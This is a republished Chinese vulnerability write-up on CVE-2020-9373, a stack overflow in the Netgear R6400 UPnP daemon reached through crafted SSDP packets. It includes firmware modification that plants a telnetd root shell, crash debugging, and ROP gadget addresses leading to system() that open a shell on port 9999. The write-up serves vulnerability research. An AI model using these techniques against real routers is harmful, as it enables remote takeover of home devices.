网站建设、公众号开发、微网站、微商城、小程序就找牛创网络 !

7*24小时服务专线: 152-150-65-006 023-68263070 扫描二维码加我微信 在线QQ

漏洞公告团结互助,让我们共同进步!

当前位置:主页 > 技术资讯 > 网络安全 > 漏洞公告 >

我们的优势: 10年相关行业经验,专业设计师量身定制 设计师一对一服务模式,上百家客户案例! 企业保证,正规流程,正规合作 7*24小时在线服务,售后无忧

CVE-2020-9373栈溢出漏洞分析:存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。

文章来源:重庆网络安全 发布时间:2020-03-15 18:58:38 围观次数:
分享到:

摘要:CVE-2020-9373栈溢出漏洞分析,存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。以V1 0 1 52_1 0 36这本版本的固件包测试。

  CVE-2020-9373栈溢出漏洞分析,存在Netgear R6400 固件版本upnpd中,向udp 1900端口发送构造的ssdp数据包,可导致DOS或RCE。以V1.0.1.52_1.0.36这本版本的固件包测试。


Netgear r6400

  Netgear R6400是Netgear的AC1750无线路由器,具有2.4GHz和5GHz双频支持。最高带宽是1750Mbps(450+

1300Mbps)。机身具有USB 3.0接口和USB 2.0接口。


upnp协议

  通用即插即用(Universal Plug and Play)是UPnP™论坛推广的一组网络协议。该协议的目标是使家庭网络中的各种设备(数据共享,通信和娱乐)和公司网络彼此无缝连接,并简化相关网络的实现。UPnP检测协议基于简单服务发现协议(SSDP)。


ssdp协议

  简单服务发现协议(SSDP)是应用程序层协议,并且是构成通用即插即用(UPnP)技术的核心协议之一。简单服务发现协议提供了一种用于发现本地网络中的设备的机制。


固件分析


  Binwalk解析

binwalk R6400-V1.0.1.52_1.0.36.chkDECIMAL       HEXADECIMAL     DESCRIPTION--------------------------------------------------------------------------------58            0x3A            TRX firmware headerlittle endianimage size: 31977472 bytesCRC32: 0x4BDF38B9flags: 0x0version: 1, header size: 28 bytesloader offset: 0x1Clinux kernel offset: 0x201CECrootfs offset: 0x086            0x56            LZMA compressed dataproperties: 0x5Ddictionary size: 65536 bytesuncompressed size: 5173344 bytes2104614       0x201D26        Squashfs filesystemlittle endianversion 4.0compression:xzsize: 29869289 bytes, 1645 inodesblocksize: 131072 bytescreated: 2019-11-07 12:21:09

 通过binwalk分析,固件结构比较清晰。固件由一个netgear header(0x3A字节),一个TRX header(0x1c字节)和一个Linux kerne,squashfs文件系统组成。


netgear header

  第一个0x3A字节是netgear随附的header。由于打包的软件是从netgear的开源软件中找到的,因此对其进行了过多的分析,但可以清楚地看到它包含版本号,文件大小,校验码等信息。


TRX header

  原理图:

 0                   1                   2                   3  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1+---------------------------------------------------------------+|                     magic number ('HDR0')                     |+---------------------------------------------------------------+|                  length (header size + data)                  |+---------------+---------------+-------------------------------+|                       32-bit CRC value                        |+---------------+---------------+-------------------------------+|           TRX flags           |          TRX version          |+-------------------------------+-------------------------------+|                      Partition offset[0]                      |+---------------------------------------------------------------+|                      Partition offset[1]                      |+---------------------------------------------------------------+|                      Partition offset[2]                      |+---------------------------------------------------------------

 头结构定义如下:

struct trx_header { uint32_t magic; /* "HDR0" */ uint32_t len; /* Length of file including header */ uint32_t crc32; /* 32-bit CRC from flag_version to end of file */ uint32_t flag_version; /* 0:15 flags, 16:31 version */ uint32_t offsets[4]; /* Offsets of partitions from start of header */}

  crc32校验是对检查值之后的所有数据进行检查,简单验证

print("0x%x" % ((~zlib.crc32(fp.read()[0x46:])) & 0xffffffff))
> python3 crc32check.py R6400-V1.0.1.52_1.0.36.chk0x4bdf38b9

 发现crc检查值与先前的binwalk输出一致。

blob.png

准备调试


 修改固件


  R6400路由器本身不提供shell交互接口。可以通过刷新第三方固件并上传upnpd来对其进行调试。有许多第三方固件刷新方法。这里使用的方法是直接修改squashfs文件并启用busybox附带的telnetd服务。由于时间有限,因此没有详细分析整个系统的启动过程,仅使用了一种简单的修改和替换/usr/sbin/dlnad的方法。

# mv squashfs/usr/sbin/dlnad squashfs/usr/sbin/dlnadd# touch squashfs/usr/bin/dlnad# chmod +x squashfs/usr/bin/dlnad

 替换后dlna:

 #!/bin/sh/usr/sbin/telnetd -F -l /bin/sh -p 1234 &/usr/sbin/dlnadd &


固件包装


  R6400提供了部分开源代码。当然,可以通过编译来生成新固件,但是这里使用直接二进制编辑来替换原始固件中的squashf,然后更新TRXheader和netgearheader文件以节省ARM交叉编译过程。TRX需要更新crc32检查值和长度。netgearheader使用开源工具链中的packet和compatible_r6400.txt工具:

./packet -k %s -f rootfs -b compatible_r6400.txt  -ok kernel -oall image -or rootfs -i ambitCfg.h

 在打包squshfs有必要将压缩方法指定为xz,否则刷机可能会失败:

mksquashfs squashfs-root squashfs-root.squash -comp xz    

 默认情况下,生成image.chk可以刷机。

 重新启动后,发现可以连接telnet 1234端口,表明刷机成功。

# telnet 192.168.1.1 1234BusyBox v1.7.2 (2019-11-07 20:19:12 CST) built-in shell (ash) Enter 'help' for a list of built-in commands.#


漏洞发现


  由于该漏洞相对明显,因此可以通过二进制危险函数审核来发现由upnpd直接使用strcpy复制未过滤的数据直接处理ssdp包引起的堆栈溢出。

  通过在gihub上使用upnpfuzz工具发现了问题(发送第二个软件包以生成crash)。该协议本身相对简单。测试脚本可以自己开发。当然,也可以使用诸如sulley peach之类的开源框架来快速实现它。作者还对dnsmasq和web进行了fuzz测试。但是,由于时间和水平的限制,没有获得任何结果。

  使用gdb进行调试可以看到该程序已产生Segmentation fault:

# cd /tmp# tftp 192.168.1.2 -l gdb -r gdb -g octet# chmod +x gdb# ps |grep upnpd10936 admin      2400 S   upnpd12580 admin      1316 R   grep upnpd#./gdb --pid=10936GNU gdb (GDB) 7.11Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"and "show warranty" for details. This GDB was configured as "arm-linux-gnueabi". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". Attaching to process 15409Reading symbols from /usr/sbin/upnpd...(no debugging symbols found)...done. Reading symbols from /usr/lib/libnvram.so...(no debugging symbols found)...done. Reading symbols from /usr/lib/libacos_shared.so...(no debugging symbols found)...done. Reading symbols from /usr/lib/libnat.so...(no debugging symbols found)...done. Reading symbols from /lib/libcrypt.so.0...(no debugging symbols found)...done. Reading symbols from /lib/libgcc_s.so.1...(no debugging symbols found)...done. Reading symbols from /lib/libc.so.0...(no debugging symbols found)...done. Reading symbols from /lib/libm.so.0...(no debugging symbols found)...done. Reading symbols from /lib/ld-uClibc.so.0...(no debugging symbols found)...done.0x4011f4cc in select () from /lib/libc.so.0(gdb)c Continuing. Program received signal SIGSEGV, Segmentation fault.0x401e3954 in strstr () from /lib/libc.so.0(gdb) backtrace#0  0x401e3954 in strstr () from /lib/libc.so.0#1  0x0000b820 in ?? ()Backtrace stopped: previous frame identical to this frame (corrupt stack?) (gdb)i r r0             0x41414141       1094795585r1             0xbeeefcc4       3203333316r2             0xbeeefcc4       3203333316r3             0x41414141       1094795585r4             0x41     65r5             0xbeeefcc0       3203333312r6             0xbeeefcc4       3203333316r7             0xbeeefcc0       3203333312r8             0xbeeefcc4       3203333316r9             0x30a    778r10            0x1      1r11            0xb8f7c  757628r12            0x4c7ac  313260sp             0xbeeef678       0xbeeef678lr             0xb820   47136pc             0x401e3954       0x401e3954 <strstr+24>

cpsr           0x20000010       536870928

 使用ida追溯sub_b820函数,并发现sub_22270的strcpy中可能存在该漏洞:

text:00022270.text:00022270                 STMFD           SP!, {R4-R11,LR} .text:00022274                 SUB             SP, SP, #0x630.text:00022278                 SUB             SP, SP, #4.text:0002227C                 MOV             R5, R2 .text:00022280                 ADD             R3, SP, #0x658+s.text:00022284                 MOV             R2, #0x20.text:00022288                 STRH            R2, [R3,#0x2C].text:0002228C                 MOV             R4, R0 .text:00022290                 LDR             R3, =dword_885DC .text:00022294                 MOV             R6, R1 .text:00022298                 LDR             R3, [R3] .text:0002229C                 CMP             R3, #1.text:000222A0                 MOVEQ           R0, #0.text:000222A4                 BEQ             loc_22364 .text:000222A8                 ADD             R3, SP, #0x658+var_628.text:000222AC                 ADD             R7, SP, #0x658+var_28.text:000222B0                 SUB             R3, R3, #0xC.text:000222B4                 ADD             R8, SP, #0x658+var_38.text:000222B8                 STR             R3, [R7,#-8]!.text:000222BC                 MOV             R1, R4  ; src .text:000222C0                 MOV             R0, R3  ; dest .text:000222**                 ADD             R8, R8, #0xC.text:000222C8                 BL              strcpy.text:000222CC                 MOV             R0, R7 .text:000222D0                 MOV             R1, R8 .text:000222D4                 BL              sub_B800 .text:000222D8                 SUBS            R10, R0, #0.text:000222DC                 BEQ             loc_22360 ; jumptable 00022424 default case.text:000222E0                 LDR             R1, =aMSearch ; "M-SEARCH".text:000222E4                 BL              strstr.text:000

 通过在sub_22270函数下的断点处继续调试,发现该漏洞确实存在于此。因为考虑到长度,直接复制r1指向的数据以覆盖r0指向的地址,所以更改了r7指向的值(也存储在堆栈中),然后将r7指向的值分配给使用r0作为地址值的r0(已被0×41414141覆盖),将r0当作地址取值是因无法读取数据产生Segmentation fault。


漏洞利用


 地址随机化

 每次随机加载库地址和堆栈地址,都有一些规则,并且upnpd的地址是恒定的。地址随机化的bypass思路是构建ROP,需要解决以下两个问题。


 字符串截断

 upnpd文件很小,并且最大的地址空间还包含至少一个0×00。字符串截断不能多次跳转。总体思路是从加密的shellcode中删除0×00,以防止被截断。在这里使用一种相对简单的方法。 因为strcpy会将参数压栈(ARM是先存寄存器,但指向的buf仍存储在内存空间中)。由于网络中接收到的二进制流没有截断,因此发送的完整数据必须存在于内存空间中。可以先使用一个跳pop栈数据,以便堆栈地址恰好在构造数据的位置,然后可以使用传统的ROP,而不受0×00的影响。

 在内存中查找未截断的数据:

(gdb) x/20x 0xbed442e8 0xbed442e8:  0x41414141      0x41414141      0x41414141      0x41414141 0xbed442f8:  0x41414141      0x41414141      0x41414141      0x41414141 0xbed44308:  0x41414141      0x41414141      0x41414141      0x41414141 0xbed44318:  0x41414141      0x42004200      0x42004200      0x00000000

 r7地址可读

 如果r7地址不可读,则会在返回之前发生Segmentation fault,导致程序退出,仅达到DOS效果,并且无法执行命令。以前也存在随机化和截断问题。作者未能很好地解决这个问题。考虑到libc的每个加载地址都有一些规律性,它们都为0x401XX4cc。经过几次尝试,将r7的值设置为0x401004cc可以基本满足要求,但是仍然存在失败的可能性,例如upnpd多次异常重启后,libc地址将变为0x402XX4cc。 

(gdb) x/10x 0x40100cc0x401bd25c <select+12>:  0xe3700a01      0xe1a04000      0x9a000003      0xe26440000x401bd26c <select+28>:  0xebfff099      0xe5804000      0xe3e04000      0xe1a000040x401bd27c <select+44>:  0xe8bd8098      0xe3a02000


rop构造

  解决了上述问题后,构建ROP是一项机械操作。您可以使用pwntools或ROPgadget构造它。作者使用的代码如下:

//pop栈内容,使栈地址触及send的数据.text:00019124                 ADD             SP, SP, #0xDC.text:00019128                 ADD             SP, SP, #0x800.text:0001912C                 LDMFD           SP!, {R4-R11,PC}//将需要执行的命令地址赋给r0.text:0000CEE4                 MOV             R0, R4  ; s .text:0000CEE8                 MOV             R1, #0  ; c.text:0000CEEC                 MOV             R2, R5  ; n .text:0000CEF0                 BL              memset.text:0000CEF4                 MOV             R0, R4  ; dest .text:0000CEF8                 MOV             R1, SP  ; src .text:0000CEFC                 BL              strcpy.text:0000CF00                 ADD             SP, SP, #0x400.text:0000CF04                 LDMFD           SP!, {R4-R6,PC}//执行system.text:00017878                 BL              system .text:0001787C                 MOV             R0, #1

 由于无法很好地解决r7可读性问题,因此整个ROP注定是不完整的,因此在成功执行系统之后,将无法继续构建,因此还有进一步操作的空间,例如upnpd退出和重新启动。执行效果如下,可以看到telnetd已成功在端口9999上打开,并且测试可以成功连接。

# ps |grep telnet10912 admin      1292 S   /usr/sbin/telnetd -p 123411587 admin      1296 S   sh -c telnetd -F -l /bin/sh -p 9999;11588 admin      1296 S   telnetd -F -l /bin/sh -p 999912280 admin      1316 S   grep telnet


总结一下


  1.该漏洞从发现到开发都相对简单,适合初学者使用。随着对网络安全性的日益关注,当前的应用软件很难找到这样的漏洞。 

  2.使用upnp带来了便利,但是许多实现将暴露安全性问题,就易用性和安全性之间的平衡而言,此类设备还有很长的路要走建议不需要可不使用诸如upnp之类的服务。

  3.作者发现同一设备NetNear WNDR3400v3也爆炸了类似的漏洞,并且CVE编号(CVE-2019-14363)已经存在。它应该是类似的代码。许多设备依靠openwrt / ddwrt进行二次开发,并且使用开放源代码软件的数量不胜举。如果要查找漏洞并提供预警,二进制同源性分析也是一个非常有价值的主题。


本文由 重庆网络安全 整理发布,转载请保留出处,内容部分来自于互联网,如有侵权请联系我们删除。

相关热词搜索:CVE-2020-9373 栈溢出漏洞 Netgear R6400 upnpd udp 1900 ssdp数据包 DOS RCE 重庆网络安全公司

上一篇:CVE-2019-20099跨站点请求伪造漏洞(CSRF)发现过程:Jira,连接到任何内部主机,执行内部主机和端口的扫描和检测
下一篇:CVE-2019-17016 Firefox浏览器漏洞:使用单个注入点提取CSS数据

热门资讯

鼠标向下滚动